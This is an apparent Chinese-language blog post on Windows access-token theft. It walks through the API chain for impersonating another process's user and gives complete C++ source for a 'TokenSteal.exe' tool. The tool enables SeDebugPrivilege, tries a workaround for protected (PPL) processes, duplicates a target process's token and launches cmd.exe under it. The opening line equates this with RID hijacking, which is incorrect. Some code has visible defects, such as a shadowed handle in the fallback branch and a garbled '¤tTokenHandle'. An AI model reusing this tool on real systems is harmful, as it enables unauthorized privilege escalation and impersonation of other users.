到目前,才刚知道账号克隆原来就是RID劫持!
参考文章:https://www.anquanke.com/post/id/187895
参考视频:https://www.bugbank.cn/live/view.html?id=113027
实现:
OpenProcess() -> OpenProcessToken() -> ImpersonateLoggedOnUser() -> DuplicateTokenEx() -> CreateProcessWithTokenW()
OpenProcessToken()接受一个进程句柄和一个访问权限标志作为输入参数。
它将打开与进程关联的访问令牌的句柄。必须使用TOKEN_QUERY
和TOKEN_DUPLICATE
访问权限打开令牌句柄,才能在ImpersonateLoggedOnUser()中使用
上面同样也可以使用DuplicateTokenEx()参数为TOKEN_DUPLICATE
来复制相同的令牌
如何模拟身份?
如果我们想以另一个用户的身份生成一个进程,我们必须在 OpenProcessToken()的结果令牌句柄上使用 DuplicateTokenEx()来创建一个新的访问令牌。
在用DuplicateTokenEx函数的时候对应的参数必须设置如下访问权限参数来调用 DuplicateTokenEx() ,才能通过使用 CreateProcessWithTokenW()进行启动进程
TOKEN_ADJUST_DEFAULT
TOKEN_ADJUST_SESSIONID
TOKEN_QUERY
TOKEN_DUPLICATE
TOKEN_ASSIGN_PRIMARY
在其中还有个关于 Protected Process Light 的属性,简称PPL ,某些进程会受PPL属性保护的时候,该进程就会存在PsProtectedSignerWinTcb-Light属性,比如
此时调用OpenProcess()的时候参数权限改为PROCESS_QUERY_LIMITED_INFORMATION
就可以解决
另外自己测试的时候还发现了,即是改了OpenProcess的PROCESS_QUERY_LIMITED_INFORMATION
并不是在每个windows系统上都可以,自己测试的win7是可以,但是win2012 win10却不行
实现代码如下
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <comdef.h>
using namespace std;
//设置权限
BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid; //局部的唯一标识符
// 查看系统权限的特权值
if (!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)){
printf("[-] LookupPrivilegeValue error: %u
", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege){
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置要添加的权限
}else{
tp.Privileges[0].Attributes = 0;
}
// 添加管理员相应的权限
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){
printf("[-] AdjustTokenPrivileges error: %u
", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
printf("[-] The token does not have the specified privilege.
");
return FALSE;
}
return TRUE;
}
//获取当前的用户名
string get_username(){
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
wstring username_w(username);
string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
if (argc <= 1) {
printf("USAGE: TokenSteal.exe Process PID");
return -1;
}
printf("[+] Current user is: %s
", (get_username()).c_str());
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
//创建进程所必须的结构
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
HANDLE currentTokenHandle = NULL;
//获取当前自身进程的句柄进行调整权限
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)){
printf("[+] SeDebugPrivilege enabled!
");
}
// OpenProcess获取指定进程的句柄
HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!
");
else
{
//绕过受微软的进程保护
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL) {
printf("[+] OpenProcess() success!
");
}
else
{
printf("[-] OpenProcess() Return Code: %i
", processHandle);
printf("[-] OpenProcess() Error: %i
", GetLastError());
}
}
// 获取指定进程的句柄令牌
BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!
");
else
{
printf("[-] OpenProcessToken() Return Code: %i
", getToken);
printf("[-] OpenProcessToken() Error: %i
", GetLastError());
}
//模拟一个登陆用户的访问令牌的安全上下文
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!
");
printf("[+] Current user is: %s
", (get_username()).c_str());
printf("[+] Reverting thread to original user context
");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i
", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i
", GetLastError());
}
// 拷贝一个当前令牌相同权限的令牌
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!
");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i
", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i
", GetLastError());
}
// 创建 指定令牌启动的进程
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!
");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i
", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i
", GetLastError());
}
return 0;
}